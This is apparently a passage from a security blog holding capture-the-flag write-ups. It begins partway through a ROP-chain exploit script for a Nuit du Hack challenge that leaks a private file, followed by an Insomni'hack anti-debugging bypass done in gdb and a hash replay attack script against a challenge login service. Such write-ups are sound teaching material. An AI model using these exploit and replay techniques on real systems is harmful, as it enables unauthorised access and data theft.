payload = 'sciteek-private.txt\x00\n'

payload += 'A' * (512 - len(payload))

payload += pack("<H", 0xbeef) # stack cookie

payload += pack("<H", 0x8229) # pop r3 / pop r2 / pop r1 / ret
payload += pack("<H", 0x0000) # r3 = O_RDONLY
payload += pack("<H", 0x0000) # r2
payload += pack("<H", 0x7bf4) # start of our buffer

payload += pack("<H", 0x81d2) # open, FD will go in r0

payload += pack("<H", 0x8229) # pop r3 / pop r2 / pop r1 / ret
payload += pack("<H", 0x1000) # r3 = count
payload += pack("<H", 0x6000) # r2 = buffer
payload += pack("<H", 0x0000) # dummy

payload += pack("<H", 0x81e0) # mov r1, r0 / read(), r0 contains the count of bytes read

payload += pack("<H", 0x822d) # pop r1 / ret
payload += pack("<H", 0x6000) # r1 = buffer

payload += pack("<H", 0x8187) # mov r3, r0 / mov r2, r1 / movb r1, #0x01 / write()

payload += '\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.send('%s' %payload);

while 1:
    line = s.recv(65536)
    if not line:
        break
    print 'Received', repr(line)

s.close()

Result:

$ python sciteek4005.py sciteek.nuitduhack.com 4005
Received 'Dear Patrick,\n \nWe found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.\n \nHowever, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business\n, but one of them contains an archive with an explicit name.\n \nWe cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be.\n \nSincerely,\n \nDavid Markham.\n'
Received '\x1b[91m[!] Segfault 0x0000 (NX bit)\x1b[0m\n'

Share
Tagged as: , , , Comments Off
4Mar/12Off

Insomni’hack 2012 reverse_me.bin Write-up

Posted by aXs

We have a binary

$ file reverse_me.bin
reverse_me.bin.back: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size

$ readelf -l reverse_me.bin

Elf file type is EXEC (Executable file)
Entry point 0x8048054
There are 1 program headers, starting at offset 52

Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x08048000 0x08048000 0x00344 0x00344 RWE 0x1000

$ ./reverse_me.bin
Get the flag

Yeah, let's get the flag...

$ strace ./reverse_me.bin
execve("./reverse_me.bin", ["./reverse_me.bin"], [/* 17 vars */]) = 0
ptrace(PTRACE_TRACEME, 0, 0, 0) = -1 EPERM (Operation not permitted)
write(1, "no gdb down there buddy...\n", 27no gdb down there buddy...
) = 27
_exit(0) = ?

The ELF header has been heavily modified and we have a hard time setting a breakpoint on the Entry Point... some code is run before at start that detect gdb (ptrace) and exits..

$ gdb reverse_me.bin
gdb$ break *0x8048054
Breakpoint 1 at 0x8048054
gdb$ run
no gdb down there buddy...

Program exited normally.

Catching to the rescue.. ptrace is a function but also, ultimately, a syscall

gdb$ catch syscall
Catchpoint 1 (any syscall)
gdb$ run
--------------------------------------------------------------------------[regs]
EAX: 0xFFFFFFDA EBX: 0x00000000 ECX: 0x00000000 EDX: 0x00000000 o d I t s Z a P c
ESI: 0x00000000 EDI: 0xBFFFF80C EBP: 0x0AE8DB34 ESP: 0xBFFFF80C EIP: 0x08048187
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0000 SS: 007B
--------------------------------------------------------------------------[code]
0x8048187: cmp eax,0x0
0x804818a: jne 0x80481fb
0x804818c: push 0x4
0x804818e: pop eax
0x804818f: cdq
0x8048190: xor ebx,ebx
0x8048192: inc ebx
0x8048193: push 0xa
--------------------------------------------------------------------------------

Catchpoint 1 (call to syscall 'ptrace'), 0x08048187 in ?? ()
gdb$ conti
--------------------------------------------------------------------------[regs]
EAX: 0xFFFFFFFF EBX: 0x00000000 ECX: 0x00000000 EDX: 0x00000000 o d I t s Z a P c
ESI: 0x00000000 EDI: 0xBFFFF80C EBP: 0x0AE8DB34 ESP: 0xBFFFF80C EIP: 0x08048187
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0000 SS: 007B
--------------------------------------------------------------------------[code]
0x8048187: cmp eax,0x0
0x804818a: jne 0x80481fb
0x804818c: push 0x4
0x804818e: pop eax
0x804818f: cdq
0x8048190: xor ebx,ebx
0x8048192: inc ebx
0x8048193: push 0xa
--------------------------------------------------------------------------------

Catchpoint 1 (returned from syscall 'ptrace'), 0x08048187 in ?? ()

There we have a check for eax, normally ptrace would return 0 but it's 0xFFFFFFFF since gdb is already active. Let's change it to 0 and continue.

gdb$ set $eax = 0
gdb$ conti
Catchpoint 1 (call to syscall 'write'), 0x080481ac in ?? ()
gdb$ conti
Get the flag

Catchpoint 1 (returned from syscall 'write'), 0x080481ac in ?? ()
$ conti

Execution seems to be in a infinite loop there. Break it...

^C
Program received signal SIGINT, Interrupt.
--------------------------------------------------------------------------[regs]
EAX: 0x00000040 EBX: 0x00000001 ECX: 0xBFFFF7FC EDX: 0x0000000D o d I t s z a p c
ESI: 0x00000000 EDI: 0xBFFFF80C EBP: 0x0AE8DB34 ESP: 0xBFFFF7F8 EIP: 0x080481AC
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0000 SS: 007B
--------------------------------------------------------------------------[code]
0x80481ac: xor eax,eax
0x80481ae: push 0x41
0x80481b0: pop eax
0x80481b1: shr eax,1
0x80481b3: shl eax,1
0x80481b5: jmp 0x80481ac
0x80481b7: push 0x4
0x80481b9: pop eax
--------------------------------------------------------------------------------
0x080481ac in ?? ()

Infinite loop with the unconditional jump. We try to set EIP just after the jmp (bit of guessing)

gdb$ set $pc = 0x80481b7
gdb$ conti
Catchpoint 1 (call to syscall 'write'), 0x080481d0 in ?? ()
gdb$ conti
flag:
Catchpoint 1 (returned from syscall 'write'), 0x080481d0 in ?? ()
gdb$ conti
Catchpoint 1 (call to syscall 'write'), 0x080481fb in ?? ()
gdb$ conti
tcatch_syscall_always_win

Catchpoint 1 (returned from syscall 'write'), 0x080481fb in ?? ()

flag: tcatch_syscall_always_win

I couldn't agree more.

Another way to solve this is using IDA and the x86emu plugin. It's much longer because you will need to go over the multiple decryption loops before finally arriving at the ptrace syscall and the check, but it's interesting by itself as an introduction to x86emu plugin.

Share
Tagged as: , Comments Off
4Mar/12Off

Insomni’hack 2012 Network PCAP Write-ups

Posted by aXs

In this challenge we 2 files: 1 PCAP, 1 Python

The PCAP file contains a dialog between a client and server that goes like this:

> = client to server
< = server to client > 8e67bb26b358e2ed20fe552ed6fb832f397a507d:3daf723376f823eceeb314c8fa60e47b1ba23633
< 5f367ff47fff772986cca54219fa167175353dc7 > 78be5fe51f264a4067463bad57022348
< 3290452b9a9f6d18523347dd1daa54a1e09195a7 > 94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e>_<8b060ba4b309e73abd079d8f0128056c07b78cad < Bienvenue, superuser. Le lieu du rendez-vous n'est pas encore defini. The original Python file goes like this:

#!/usr/bin/python2

import SocketServer
import socket, sys, hashlib, random


if __name__ == "__main__":
    HOST, PORT = sys.argv[1], 9999
    USER = raw_input("Utilisateur : ").strip()
    PASS = raw_input("Mot de passe : ").strip()
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((HOST, PORT))

    try:    
        data = hashlib.sha1(USER).hexdigest()+":"+hashlib.sha1(hashlib.md5(hashlib.sha1(PASS).hexdigest()+hashlib.sha1(PASS).hexdigest()+hashlib.md5(USER).hexdigest()).hexdigest()).hexdigest()
        sock.sendall(data + "\n")

        challenge = sock.recv(41).strip()
        sock.sendall(hashlib.md5(hashlib.sha1(PASS).hexdigest()+"SuperSalt"+hashlib.md5(USER+challenge).hexdigest()).hexdigest() + "\n")

        challenge = sock.recv(41).strip()
        sock.sendall(hashlib.sha1(PASS).hexdigest()+">_<"+hashlib.sha1(challenge+hashlib.md5(USER).hexdigest()).hexdigest() + "\n")
        print sock.recv(1024)
    except:
        print sock.recv(1024)

    sock.close()

We need to get updated information on the meeting location so we need to do a replay attack on this service.

We are going to map the network stream to the python code:

Handshake

> 8e67bb26b358e2ed20fe552ed6fb832f397a507d:3daf723376f823eceeb314c8fa60e47b1ba23633

sha1(user) : sha1(sha1(pass)+sha1(pass)+md5(user))

Challenge 1:

< 5f367ff47fff772986cca54219fa167175353dc7 > 78be5fe51f264a4067463bad57022348

md5(sha1(pass)+"SuperSalt"+md5(user+challenge))

Challenge 2:

< 3290452b9a9f6d18523347dd1daa54a1e09195a7 > 94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e>_<8b060ba4b309e73abd079d8f0128056c07b78cad sha1(pass)+">_<"+sha1(challenge+md5(user)) We can deduce: sha1(user) = 8e67bb26b358e2ed20fe552ed6fb832f397a507d sha1(pass) = 94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e Google bruteforcing sha1(user) gives "superuser", which match the plain text welcome message "Bienvenue, superuser". We can also Google bruteforce the challenges but that's useless. user = "superuser" challenge1 = "4283399" challenge2 = "3593819" So we know USER, now we need PASS. But we only have sha1(pass) and it cannot be Google bruteforced. But do we really need to know PASS ? If you look closely in the code above, you will see we only use the sha1 of PASS, never anything else. Since we know USER, we can carry a replay attack. We remove all reference to PASS and put directly the sha1(pass) string.

#!/usr/bin/python2

import SocketServer
import socket, sys, hashlib, random


if __name__ == "__main__":
    HOST, PORT = "10.13.37.12", 9999
    USER = "superuser"
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((HOST, PORT))

    try:    
        sock.sendall("8e67bb26b358e2ed20fe552ed6fb832f397a507d:3daf723376f823eceeb314c8fa60e47b1ba23633" + "\n")

        challenge = sock.recv(41).strip()
        sock.sendall(hashlib.md5("94817a6b1d833e1ffb4fcb2aa7dd14143dc5759eSuperSalt"+hashlib.md5(USER+challenge).hexdigest()).hexdigest() + "\n")

        challenge = sock.recv(41).strip()
        sock.sendall("94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e>_<"+hashlib.sha1(challenge+hashlib.md5(USER).hexdigest()).hexdigest() + "\n")
        print sock.recv(1024)
    except:
        print sock.recv(1024)

    sock.close()

All done.

Share